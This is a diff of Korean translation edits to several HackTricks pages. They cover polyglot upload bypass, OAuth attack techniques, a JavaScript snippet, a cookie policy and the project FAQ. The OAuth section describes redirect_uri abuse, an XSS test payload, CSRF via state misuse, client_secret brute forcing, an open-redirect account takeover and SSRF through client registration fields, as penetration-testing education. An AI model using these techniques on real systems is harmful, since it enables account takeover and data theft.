폴리글롯 파일의 핵심 유용성은 파일 유형에 따라 파일을 검사하는 보안 조치를 우회할 수 있는 능력에 있습니다. 다양한 애플리케이션에서 일반적인 관행은 JPEG, GIF 또는 DOC와 같은 특정 파일 유형만 업로드를 허용하여 잠재적으로 해로운 형식(예: JS, PHP 또는 Phar 파일)으로 인한 위험을 완화하는 것입니다. 그러나 폴리글롯은 여러 파일 유형의 구조적 기준을 준수함으로써 이러한 제한을 은밀하게 우회할 수 있습니다.
|
||||
|
||||
그들의 적응성에도 불구하고, 다중형 파일은 한계에 직면합니다. 예를 들어, 다중형 파일이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 다중형 파일의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
|
||||
그들의 적응성에도 불구하고, 폴리글롯은 한계에 직면합니다. 예를 들어, 폴리글롯이 PHAR 파일(PHp ARchive)과 JPEG를 동시에 포함할 수 있지만, 업로드의 성공 여부는 플랫폼의 파일 확장자 정책에 달려 있을 수 있습니다. 시스템이 허용되는 확장자에 대해 엄격하다면, 폴리글롯의 단순한 구조적 이중성만으로는 업로드를 보장할 수 없습니다.
|
||||
|
||||
자세한 정보는: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
@ -12,17 +12,17 @@ OAuth 2.0 프레임워크 내에서 다음 구성 요소를 이해하는 것이
|
||||
|
||||
- **resource owner**: 귀하, 즉 **사용자/엔티티**가 소셜 미디어 계정 게시물과 같은 리소스에 대한 접근을 승인합니다.
|
||||
- **resource server**: **resource owner**를 대신하여 `access token`을 확보한 후 인증된 요청을 관리하는 **서버**, 예: **https://socialmedia.com**.
|
||||
- **client application**: `resource owner`로부터 승인을 요청하는 **애플리케이션**, 예: **https://example.com**.
|
||||
- **client application**: `resource owner`로부터 권한을 요청하는 **애플리케이션**, 예: **https://example.com**.
|
||||
- **authorization server**: `resource owner`의 성공적인 인증 후 `client application`에 `access tokens`를 발급하는 **서버**, 예: **https://socialmedia.com**.
|
||||
- **client_id**: 애플리케이션의 공개 고유 식별자.
|
||||
- **client_secret:** 애플리케이션과 인증 서버만 알고 있는 비밀 키로, `access_tokens` 생성을 위해 사용됩니다.
|
||||
- **response_type**: **요청된 토큰의 유형**을 지정하는 값, 예: `code`.
|
||||
- **scope**: `client application`이 `resource owner`로부터 요청하는 **접근 수준**.
|
||||
- **redirect_uri**: **사용자가 승인 후 리디렉션되는 URL**. 일반적으로 사전 등록된 리디렉션 URL과 일치해야 합니다.
|
||||
- **state**: **사용자가 인증 서버로의 리디렉션 간에 데이터를 유지하기 위한 매개변수**. 고유성이 **CSRF 보호 메커니즘**으로서 중요합니다.
|
||||
- **redirect_uri**: **사용자가 인증 후 리디렉션되는 URL**. 일반적으로 사전 등록된 리디렉션 URL과 일치해야 합니다.
|
||||
- **state**: **사용자의 인증 서버로의 리디렉션 간 데이터를 유지하기 위한 매개변수**. 고유성이 **CSRF 보호 메커니즘**으로서 중요합니다.
|
||||
- **grant_type**: **부여 유형 및 반환될 토큰 유형**을 나타내는 매개변수.
|
||||
- **code**: `authorization server`에서 발급된 인증 코드로, `client application`이 `access_token`을 획득하기 위해 `client_id` 및 `client_secret`과 함께 사용합니다.
|
||||
- **access_token**: **client application이 `resource owner`를 대신하여 API 요청에 사용하는 토큰**.
|
||||
- **access_token**: **클라이언트 애플리케이션이 `resource owner`를 대신하여 API 요청에 사용하는 토큰**.
|
||||
- **refresh_token**: 애플리케이션이 **사용자에게 다시 요청하지 않고 새로운 `access_token`을 얻을 수 있게 해줍니다**.
|
||||
|
||||
### Flow
|
||||
@ -30,7 +30,7 @@ OAuth 2.0 프레임워크 내에서 다음 구성 요소를 이해하는 것이
|
||||
**실제 OAuth 흐름**은 다음과 같이 진행됩니다:
|
||||
|
||||
1. 귀하는 [https://example.com](https://example.com)으로 이동하여 “소셜 미디어와 통합” 버튼을 선택합니다.
|
||||
2. 사이트는 귀하의 게시물에 접근하기 위해 https://example.com의 애플리케이션이 귀하의 승인을 요청하는 [https://socialmedia.com](https://socialmedia.com)으로 요청을 보냅니다. 요청은 다음과 같이 구성됩니다:
|
||||
2. 사이트는 귀하의 게시물에 접근하기 위해 https://example.com의 애플리케이션에 대한 권한을 요청하는 [https://socialmedia.com](https://socialmedia.com)으로 요청을 보냅니다. 요청은 다음과 같이 구성됩니다:
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
?response_type=code
|
||||
@ -40,7 +40,7 @@ https://socialmedia.com/auth
|
||||
&state=randomString123
|
||||
```
|
||||
3. 그런 다음 동의 페이지가 표시됩니다.
|
||||
4. 귀하의 승인이 있으면, 소셜 미디어는 `redirect_uri`에 `code`와 `state` 매개변수를 포함한 응답을 보냅니다:
|
||||
4. 귀하의 승인이 있으면, 소셜 미디어는 `redirect_uri`에 `code` 및 `state` 매개변수를 포함한 응답을 보냅니다:
|
||||
```
|
||||
https://example.com?code=uniqueCode123&state=randomString123
|
||||
```
|
||||
@ -60,19 +60,19 @@ Host: socialmedia.com
|
||||
|
||||
악용 기술은 인증 서버의 검증 논리에 따라 다릅니다. 이는 엄격한 경로 일치에서 지정된 도메인 또는 하위 디렉토리 내의 모든 URL을 허용하는 것까지 다양합니다. 일반적인 악용 방법에는 오픈 리디렉션, 경로 탐색, 약한 정규 표현식 악용, 토큰 탈취를 위한 HTML 주입이 포함됩니다.
|
||||
|
||||
`redirect_uri` 외에도 `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`와 같은 다른 OAuth 및 OpenID 매개변수도 리디렉션 공격에 취약합니다. 이러한 매개변수는 선택 사항이며, 서버마다 지원 여부가 다릅니다.
|
||||
`redirect_uri` 외에도 `client_uri`, `policy_uri`, `tos_uri`, `initiate_login_uri`와 같은 다른 OAuth 및 OpenID 매개변수도 리디렉션 공격에 취약합니다. 이러한 매개변수는 선택 사항이며 서버마다 지원이 다릅니다.
|
||||
|
||||
OpenID 서버를 대상으로 하는 경우, 발견 엔드포인트(`**.well-known/openid-configuration**`)는 종종 `registration_endpoint`, `request_uri_parameter_supported`, 및 "`require_request_uri_registration`"과 같은 유용한 구성 세부정보를 나열합니다. 이러한 세부정보는 등록 엔드포인트 및 서버의 기타 구성 세부정보를 식별하는 데 도움이 될 수 있습니다.
|
||||
|
||||
### 리디렉션 구현의 XSS <a href="#bda5" id="bda5"></a>
|
||||
|
||||
이 버그 바운티 보고서에서 언급된 바와 같이 [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) 리디렉션 **URL이 사용자가 인증한 후 서버의 응답에 반영될 수 있으며**, **XSS에 취약할 수 있습니다**. 테스트할 수 있는 가능한 페이로드:
|
||||
이 버그 바운티 보고서에서 언급된 바와 같이 [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) 리디렉션 **URL이 사용자 인증 후 서버의 응답에 반영될 수 있으며**, **XSS에 취약할 수 있습니다**. 테스트할 수 있는 가능한 페이로드:
|
||||
```
|
||||
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
|
||||
```
|
||||
### CSRF - 상태 매개변수의 부적절한 처리 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
OAuth 구현에서 **`state` 매개변수**의 오용 또는 누락은 **교차 사이트 요청 위조(CSRF)** 공격의 위험을 크게 증가시킬 수 있습니다. 이 취약점은 `state` 매개변수가 **사용되지 않거나, 정적 값으로 사용되거나, 적절하게 검증되지 않을 때** 발생하여 공격자가 CSRF 보호를 우회할 수 있게 합니다.
|
||||
OAuth 구현에서 **`state` 매개변수**의 오용 또는 누락은 **교차 사이트 요청 위조(CSRF)** 공격의 위험을 크게 증가시킬 수 있습니다. 이 취약점은 `state` 매개변수가 **사용되지 않거나, 정적 값으로 사용되거나, 제대로 검증되지 않을 때** 발생하여 공격자가 CSRF 보호를 우회할 수 있게 합니다.
|
||||
|
||||
공격자는 이를 이용해 인증 프로세스를 가로채어 자신의 계정을 피해자의 계정과 연결할 수 있으며, 이는 잠재적인 **계정 탈취**로 이어질 수 있습니다. 이는 OAuth가 **인증 목적으로** 사용되는 애플리케이션에서 특히 중요합니다.
|
||||
|
||||
@ -82,14 +82,14 @@ OAuth 구현에서 **`state` 매개변수**의 오용 또는 누락은 **교차
|
||||
|
||||
### 계정 탈취 전 <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **계정 생성 시 이메일 검증 없이**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 이후 피해자가 제3자 서비스를 통해 로그인할 경우, 애플리케이션은 이 제3자 계정을 공격자가 미리 생성한 계정에 우연히 연결할 수 있어 무단 접근이 발생할 수 있습니다.
|
||||
1. **계정 생성 시 이메일 검증 없이**: 공격자는 피해자의 이메일을 사용하여 미리 계정을 생성할 수 있습니다. 이후 피해자가 로그인 시 제3자 서비스를 사용하면, 애플리케이션이 이 제3자 계정을 공격자가 미리 생성한 계정에 우연히 연결할 수 있어 무단 접근이 발생할 수 있습니다.
|
||||
2. **느슨한 OAuth 이메일 검증 악용**: 공격자는 이메일을 검증하지 않는 OAuth 서비스를 악용하여 자신의 서비스에 등록한 후 계정 이메일을 피해자의 이메일로 변경할 수 있습니다. 이 방법은 첫 번째 시나리오와 유사하게 무단 계정 접근의 위험을 초래하지만, 다른 공격 벡터를 통해 이루어집니다.
|
||||
|
||||
### 비밀 정보의 노출 <a href="#e177" id="e177"></a>
|
||||
|
||||
비밀 OAuth 매개변수를 식별하고 보호하는 것은 중요합니다. **`client_id`**는 안전하게 공개할 수 있지만, **`client_secret`**을 노출하는 것은 상당한 위험을 초래합니다. `client_secret`이 유출되면 공격자는 애플리케이션의 신원과 신뢰를 악용하여 **사용자 `access_tokens`** 및 개인 정보를 **탈취**할 수 있습니다.
|
||||
|
||||
일반적인 취약점은 애플리케이션이 클라이언트 측에서 `access_token`을 위한 인증 `code`의 교환을 잘못 처리할 때 발생합니다. 이 실수는 `client_secret`의 노출로 이어져, 공격자가 애플리케이션의 가장으로 `access_tokens`를 생성할 수 있게 합니다. 또한, 사회 공학을 통해 공격자는 OAuth 인증에 추가 범위를 추가하여 애플리케이션의 신뢰된 상태를 더욱 악용할 수 있습니다.
|
||||
일반적인 취약점은 애플리케이션이 클라이언트 측에서 `access_token`을 위한 인증 `code`의 교환을 잘못 처리할 때 발생합니다. 이 실수는 `client_secret`의 노출로 이어져, 공격자가 애플리케이션의 가장으로 `access_tokens`를 생성할 수 있게 합니다. 또한, 사회 공학을 통해 공격자는 OAuth 인증에 추가 범위를 추가하여 권한을 상승시킬 수 있으며, 애플리케이션의 신뢰된 상태를 더욱 악용할 수 있습니다.
|
||||
|
||||
### 클라이언트 비밀 무차별 대입
|
||||
|
||||
@ -106,7 +106,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
|
||||
```
|
||||
### Referer Header leaking Code + State
|
||||
|
||||
클라이언트가 **코드와 상태**를 가지고 있을 때, 만약 그것이 **Referer 헤더에 반영되어** 다른 페이지로 이동하면, 취약합니다.
|
||||
클라이언트가 **코드와 상태**를 가지고 있고, 다른 페이지로 이동할 때 **Referer 헤더에 반영된다면**, 이는 취약합니다.
|
||||
|
||||
### Access Token Stored in Browser History
|
||||
|
||||
@ -160,7 +160,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
|
||||
|
||||
### 두 링크 및 쿠키 <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**이 글에 따르면**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), 피해자가 **returnUrl**이 공격자의 호스트를 가리키는 페이지를 열도록 만드는 것이 가능했습니다. 이 정보는 **쿠키(RU)**에 **저장되며**, **나중에** **프롬프트**가 **사용자에게** 해당 공격자의 호스트에 대한 접근을 허용할 것인지 **묻습니다**.
|
||||
[**이 글에 따르면**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), 피해자가 **returnUrl**이 공격자의 호스트를 가리키는 페이지를 열도록 만드는 것이 가능했습니다. 이 정보는 **쿠키(RU)**에 **저장되며**, **나중에** **프롬프트**가 **사용자에게** 해당 공격자의 호스트에 대한 접근을 허용할 것인지 **질문합니다**.
|
||||
|
||||
이 프롬프트를 우회하기 위해, **returnUrl**을 사용하여 이 RU 쿠키를 설정하는 **Oauth 흐름**을 시작하기 위해 탭을 열고, 프롬프트가 표시되기 전에 탭을 닫고, 해당 값을 포함하지 않은 새 탭을 열 수 있었습니다. 그러면 **프롬프트는 공격자의 호스트에 대해 알리지 않지만**, 쿠키는 설정되므로 **토큰은 리디렉션에서 공격자의 호스트로 전송됩니다**.
|
||||
|
||||
@ -186,7 +186,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticat
|
||||
이 [**블로그 게시물**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)은 **리퍼러**의 값을 사용하여 **오픈 리디렉션**을 악용하여 OAuth를 ATO로 악용하는 방법을 설명합니다. 공격은 다음과 같았습니다:
|
||||
|
||||
1. 피해자가 공격자의 웹 페이지에 접근합니다.
|
||||
2. 피해자가 악성 링크를 열고, 오프너가 `response_type=id_token,code&prompt=none`을 추가 매개변수로 사용하여 **공격자의 웹사이트를 리퍼러로** 하여 Google OAuth 흐름을 시작합니다.
|
||||
2. 피해자가 악성 링크를 열고, 오프너가 `response_type=id_token,code&prompt=none`을 추가 매개변수로 사용하여 **공격자의 웹사이트를 리퍼러로** Google OAuth 흐름을 시작합니다.
|
||||
3. 오프너에서 제공자가 피해자를 승인한 후, `redirect_uri` 매개변수의 값(피해자 웹)으로 30X 코드와 함께 다시 보냅니다. 이때 여전히 공격자의 웹사이트가 리퍼러에 남아 있습니다.
|
||||
4. 피해자 **웹사이트는 리퍼러를 기반으로 오픈 리디렉션을 트리거하여** 피해자 사용자를 공격자의 웹사이트로 리디렉션합니다. **`response_type`**이 **`id_token,code`**였기 때문에, 코드는 URL의 **조각**으로 공격자에게 다시 전송되어 피해자의 사이트에서 Google을 통해 사용자의 계정을 탈취할 수 있게 됩니다.
|
||||
|
||||
@ -198,18 +198,18 @@ OAuth의 동적 클라이언트 등록은 보안 취약점, 특히 **서버 측
|
||||
|
||||
**주요 사항:**
|
||||
|
||||
- **동적 클라이언트 등록**은 종종 `/register`에 매핑되며 `client_name`, `client_secret`, `redirect_uris`, 로고 또는 JSON 웹 키 세트(JWK)에 대한 URL과 같은 세부정보를 POST 요청을 통해 수신합니다.
|
||||
- **동적 클라이언트 등록**은 종종 `/register`에 매핑되며 `client_name`, `client_secret`, `redirect_uris`, 로고 또는 JSON 웹 키 세트(JWK)에 대한 URL과 같은 세부정보를 POST 요청을 통해 수락합니다.
|
||||
- 이 기능은 **RFC7591** 및 **OpenID Connect Registration 1.0**에 명시된 사양을 준수하며, SSRF에 취약할 수 있는 매개변수를 포함합니다.
|
||||
- 등록 프로세스는 여러 방식으로 SSRF에 서버를 노출시킬 수 있습니다:
|
||||
- **`logo_uri`**: 서버가 가져올 수 있는 클라이언트 애플리케이션의 로고 URL로, SSRF를 유발하거나 URL이 잘못 처리될 경우 XSS로 이어질 수 있습니다.
|
||||
- **`jwks_uri`**: 클라이언트의 JWK 문서에 대한 URL로, 악의적으로 작성된 경우 서버가 공격자가 제어하는 서버로 아웃바운드 요청을 하게 만들 수 있습니다.
|
||||
- **`sector_identifier_uri`**: 서버가 가져올 수 있는 `redirect_uris`의 JSON 배열을 참조하여 SSRF 기회를 생성할 수 있습니다.
|
||||
- **`request_uris`**: 클라이언트에 대해 허용된 요청 URI를 나열하며, 서버가 인증 프로세스 시작 시 이러한 URI를 가져오면 악용될 수 있습니다.
|
||||
- **`request_uris`**: 클라이언트에 대해 허용된 요청 URI를 나열하며, 서버가 권한 부여 프로세스 시작 시 이러한 URI를 가져오면 악용될 수 있습니다.
|
||||
|
||||
**악용 전략:**
|
||||
|
||||
- SSRF는 `logo_uri`, `jwks_uri` 또는 `sector_identifier_uri`와 같은 매개변수에 악의적인 URL로 새 클라이언트를 등록하여 유발할 수 있습니다.
|
||||
- `request_uris`를 통한 직접적인 악용은 화이트리스트 제어로 완화될 수 있지만, 사전 등록된 공격자가 제어하는 `request_uri`를 제공하면 인증 단계에서 SSRF를 촉진할 수 있습니다.
|
||||
- `request_uris`를 통한 직접적인 악용은 화이트리스트 제어로 완화될 수 있지만, 사전 등록된 공격자가 제어하는 `request_uri`를 제공하면 권한 부여 단계에서 SSRF를 촉발할 수 있습니다.
|
||||
|
||||
## OAuth 제공자의 경쟁 조건
|
||||
|
||||
|
@ -305,7 +305,7 @@ bindFn_change("Hello", "World")
|
||||
|
||||
### 함수 코드 유출
|
||||
|
||||
함수의 **객체에 접근**할 수 있다면 해당 함수의 **코드를 얻을** 수 있습니다.
|
||||
함수의 **객체에 접근**할 수 있다면 해당 함수의 **코드를 가져올 수** 있습니다.
|
||||
```javascript
|
||||
function afunc() {
|
||||
return 1 + 1
|
||||
|
@ -22,19 +22,19 @@ Last updated: 02/04/2023
|
||||
우리는 다음 목적을 위해 웹사이트에서 쿠키를 사용합니다:
|
||||
|
||||
1. 필수 쿠키: 이 쿠키는 사용자 인증을 가능하게 하고, 보안을 유지하며, 귀하의 선호 사항을 기억하는 등 웹사이트의 기본 기능에 필요합니다.
|
||||
2. 성능 쿠키: 이 쿠키는 방문자가 우리 웹사이트와 상호작용하는 방식을 이해하는 데 도움을 주며, 정보를 익명으로 수집하고 보고합니다. 이를 통해 웹사이트 성능과 사용자 경험을 개선할 수 있습니다.
|
||||
3. 기능성 쿠키: 이 쿠키는 웹사이트가 귀하가 선택한 언어 또는 지역과 같은 선택 사항을 기억하여 보다 개인화된 경험을 제공할 수 있게 합니다.
|
||||
4. 타겟팅/광고 쿠키: 이 쿠키는 귀하의 관심사, 탐색 기록 및 우리 웹사이트와의 상호작용에 따라 관련 광고 및 마케팅 커뮤니케이션을 제공하는 데 사용됩니다.
|
||||
2. 성능 쿠키: 이 쿠키는 방문자가 웹사이트와 상호작용하는 방식을 이해하는 데 도움을 주며, 정보를 익명으로 수집하고 보고합니다. 이를 통해 웹사이트 성능과 사용자 경험을 개선할 수 있습니다.
|
||||
3. 기능성 쿠키: 이 쿠키는 웹사이트가 귀하가 선택한 언어 또는 지역과 같은 선택 사항을 기억하게 하여 보다 개인화된 경험을 제공합니다.
|
||||
4. 타겟팅/광고 쿠키: 이 쿠키는 귀하의 관심사, 탐색 기록 및 웹사이트와의 상호작용에 따라 관련 광고 및 마케팅 커뮤니케이션을 제공하는 데 사용됩니다.
|
||||
|
||||
또한, book.hacktricks.wiki 및 cloud.hacktricks.wiki 페이지는 Gitbook에 호스팅됩니다. Gitbook의 쿠키에 대한 자세한 정보는 [https://gitbook-1652864889.teamtailor.com/cookie-policy](https://gitbook-1652864889.teamtailor.com/cookie-policy)에서 확인할 수 있습니다.
|
||||
|
||||
### Third-party cookies
|
||||
|
||||
자체 쿠키 외에도, 웹사이트 사용 통계 보고, 광고 제공 및 소셜 미디어 공유 버튼을 활성화하기 위해 제3자 쿠키를 사용할 수 있습니다. 제3자 쿠키의 사용은 해당 개인 정보 보호 정책에 따릅니다.
|
||||
자체 쿠키 외에도, 웹사이트 사용 통계 보고, 광고 제공 및 소셜 미디어 공유 버튼 활성화를 위해 제3자 쿠키를 사용할 수 있습니다. 제3자 쿠키의 사용은 해당 개인 정보 보호 정책에 따릅니다.
|
||||
|
||||
Managing cookies
|
||||
|
||||
대부분의 웹 브라우저는 설정을 통해 쿠키를 관리할 수 있도록 허용합니다. 귀하는 장치에서 쿠키의 사용을 차단, 삭제 또는 제한할 수 있습니다. 그러나 쿠키를 비활성화하면 웹사이트의 기능과 성능에 영향을 미칠 수 있습니다.
|
||||
대부분의 웹 브라우저는 설정을 통해 쿠키를 관리할 수 있습니다. 귀하는 장치에서 쿠키의 사용을 차단, 삭제 또는 제한할 수 있습니다. 그러나 쿠키를 비활성화하면 웹사이트의 기능과 성능에 영향을 미칠 수 있습니다.
|
||||
|
||||
Changes to this Cookies Policy
|
||||
|
||||
@ -42,4 +42,4 @@ Changes to this Cookies Policy
|
||||
|
||||
### Contact us
|
||||
|
||||
이 쿠키 정책에 대한 질문이나 우려 사항이 있으시면 [support@hacktricks.xyz](mailto:support@hacktricks.xyz)로 문의해 주시기 바랍니다.
|
||||
이 쿠키 정책에 대한 질문이나 우려 사항이 있으시면, [support@hacktricks.xyz](mailto:support@hacktricks.xyz)로 문의해 주시기 바랍니다.
|
||||
|
@ -7,14 +7,14 @@
|
||||
> [!TIP]
|
||||
> 이것은 **HackTricks 프로젝트의 가치**입니다:
|
||||
>
|
||||
> - **모든** 인터넷 사용자에게 **교육적 해킹** 리소스에 **무료**로 접근할 수 있도록 합니다.
|
||||
> - **모든** 인터넷 사용자에게 **무료**로 **교육적인 해킹** 리소스를 제공합니다.
|
||||
> - 해킹은 배우는 것이며, 배우는 것은 가능한 한 무료여야 합니다.
|
||||
> - 이 책의 목적은 포괄적인 **교육 리소스**로 기능하는 것입니다.
|
||||
> - 커뮤니티가 게시한 멋진 **해킹** 기술을 **저장**하고 **원래의 저자**에게 모든 **크레딧**을 부여합니다.
|
||||
> - 이 책의 목적은 포괄적인 **교육 리소스**로서의 역할을 하는 것입니다.
|
||||
> - 커뮤니티에서 게시한 멋진 **해킹** 기술을 **저장**하고 **원래 저자**에게 모든 **크레딧**을 부여합니다.
|
||||
> - **우리는 다른 사람에게서 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위해 멋진 트릭을 저장하고 싶습니다.
|
||||
> - 우리는 또한 HackTricks에서 **우리의 연구**를 작성합니다.
|
||||
> - 여러 경우에 우리는 **기술의 중요한 부분에 대한 요약을 HackTricks에 작성하고** 더 많은 세부정보를 위해 **원래 게시물을 방문하도록 독자를 권장할 것입니다**.
|
||||
> - 책의 모든 해킹 기술을 **조직화**하여 **더 접근 가능하게** 합니다.
|
||||
> - 여러 경우에 우리는 **기술의 중요한 부분에 대한 요약을 HackTricks에 작성하고** **독자가 원래 게시물을 방문하도록 권장할 것입니다**.
|
||||
> - 책의 모든 해킹 기술을 **조직화**하여 **더 접근 가능하게** 만듭니다.
|
||||
> - HackTricks 팀은 사람들이 **더 빠르게 배울 수 있도록** 콘텐츠를 **조직화하는 데** 무료로 수천 시간을 헌신했습니다.
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
@ -23,11 +23,11 @@
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **이 리소스에 대해 정말 감사합니다. 어떻게 감사할 수 있을까요?**
|
||||
> - **이 리소스에 대해 정말 감사합니다, 어떻게 감사할 수 있을까요?**
|
||||
|
||||
HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 대해 트윗에서 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하여 공개적으로 감사할 수 있습니다.\
|
||||
특별히 감사하다면 [**여기에서 프로젝트를 후원할 수 있습니다**](https://github.com/sponsors/carlospolop).\
|
||||
그리고 **Github 프로젝트에 별을 주는 것을 잊지 마세요!** (아래 링크를 찾으세요).
|
||||
HackTricks 팀이 이러한 리소스를 공개적으로 모아준 것에 대해 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하며 트윗으로 공개적으로 감사할 수 있습니다.\
|
||||
특별히 감사한 마음이 있다면 [**여기에서 프로젝트를 후원할 수 있습니다**](https://github.com/sponsors/carlospolop).\
|
||||
그리고 **Github 프로젝트에 별을 주는 것을 잊지 마세요!** (아래 링크를 확인하세요).
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
@ -42,16 +42,16 @@ HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks의 일부 콘텐츠를 복사하여 내 블로그에 올릴 수 있나요?**
|
||||
> - **HackTricks의 일부 내용을 복사하여 내 블로그에 올릴 수 있나요?**
|
||||
|
||||
네, 가능합니다. 하지만 **콘텐츠가 어디에서 가져온 것인지에 대한 특정 링크를 언급하는 것을 잊지 마세요.**
|
||||
네, 가능합니다. 하지만 **내용이 어디에서 가져온 것인지에 대한 특정 링크를 언급하는 것을 잊지 마세요.**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **HackTricks의 페이지를 어떻게 인용할 수 있나요?**
|
||||
|
||||
정보를 가져온 페이지의 **링크**가 나타나기만 하면 충분합니다.\
|
||||
bibtex가 필요하다면 다음과 같은 것을 사용할 수 있습니다:
|
||||
bibtex가 필요하다면 다음과 같은 형식을 사용할 수 있습니다:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -72,9 +72,9 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **왜 후원자가 있나요? HackTricks 책은 상업적 목적으로 만들어졌나요?**
|
||||
|
||||
첫 번째 **HackTricks** **가치는** **모든** 사람에게 **무료** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간을 헌신했습니다**, 다시 말해 **무료**로요.
|
||||
첫 번째 **HackTricks** **가치는** **모든** 사람에게 **무료** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간**을 헌신했습니다. 다시 말해, **무료**입니다.
|
||||
|
||||
HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면 **완전히 잘못된 생각입니다**.
|
||||
HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면, **완전히 잘못된 생각입니다**.
|
||||
|
||||
우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 우리는 **커뮤니티가 우리의 작업을 감사할 수 있는 가능성을 제공하고 싶습니다**. 따라서 사람들에게 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션을 제공하고, **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재**할 수 있도록 하고 있습니다. 이 **광고**는 항상 **눈에 띄지만** 학습 과정에 **방해가 되지 않는** 곳에 배치됩니다.
|
||||
|
||||
@ -108,36 +108,36 @@ HackTricks에 귀하의 페이지 링크가 있는 것은:
|
||||
|
||||
Copyright © 모든 권리 보유. 별도로 명시되지 않는 한.
|
||||
|
||||
#### License Summary:
|
||||
#### 라이센스 요약:
|
||||
|
||||
- Attribution: 귀하는 자유롭게:
|
||||
- Share — 어떤 매체나 형식으로든 자료를 복사하고 재배포할 수 있습니다.
|
||||
- Adapt — 자료를 리믹스하고 변형하며 기반을 구축할 수 있습니다.
|
||||
- 저작권 표시: 귀하는 자유롭게:
|
||||
- 공유 — 모든 매체나 형식으로 자료를 복사하고 재배포할 수 있습니다.
|
||||
- 수정 — 자료를 리믹스하고 변형하며 기반을 구축할 수 있습니다.
|
||||
|
||||
#### Additional Terms:
|
||||
#### 추가 조건:
|
||||
|
||||
- Third-Party Content: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용의 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적인 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오.
|
||||
- Authorship: HackTricks가 저작한 원본 콘텐츠는 이 라이센스의 조건에 따릅니다. 공유하거나 적응할 때 이 작업을 저자에게 귀속시키는 것이 권장됩니다.
|
||||
- 제3자 콘텐츠: 이 블로그/책의 일부는 다른 블로그나 출판물의 발췌와 같은 다른 출처의 콘텐츠를 포함할 수 있습니다. 이러한 콘텐츠의 사용은 공정 사용의 원칙에 따라 이루어지거나 해당 저작권 소유자의 명시적인 허가를 받습니다. 제3자 콘텐츠에 대한 특정 라이센스 정보는 원본 출처를 참조하십시오.
|
||||
- 저작권: HackTricks가 저작한 원본 콘텐츠는 이 라이센스의 조건에 따릅니다. 공유하거나 수정할 때 이 작업을 저자에게 귀속시키는 것이 권장됩니다.
|
||||
|
||||
#### Exemptions:
|
||||
#### 면제:
|
||||
|
||||
- Commercial Use: 이 콘텐츠의 상업적 사용에 대한 문의는 저에게 연락해 주십시오.
|
||||
- 상업적 사용: 이 콘텐츠의 상업적 사용에 대한 문의는 저에게 연락해 주십시오.
|
||||
|
||||
이 라이센스는 콘텐츠와 관련하여 상표 또는 브랜드 권리를 부여하지 않습니다. 이 블로그/책에 포함된 모든 상표 및 브랜드는 해당 소유자의 재산입니다.
|
||||
|
||||
**HackTricks에 접근하거나 사용함으로써 귀하는 이 라이센스의 조건을 준수하는 데 동의합니다. 이 조건에 동의하지 않으면 이 웹사이트에 접근하지 마십시오.**
|
||||
|
||||
## **Disclaimer**
|
||||
## **면책 조항**
|
||||
|
||||
> [!CAUTION]
|
||||
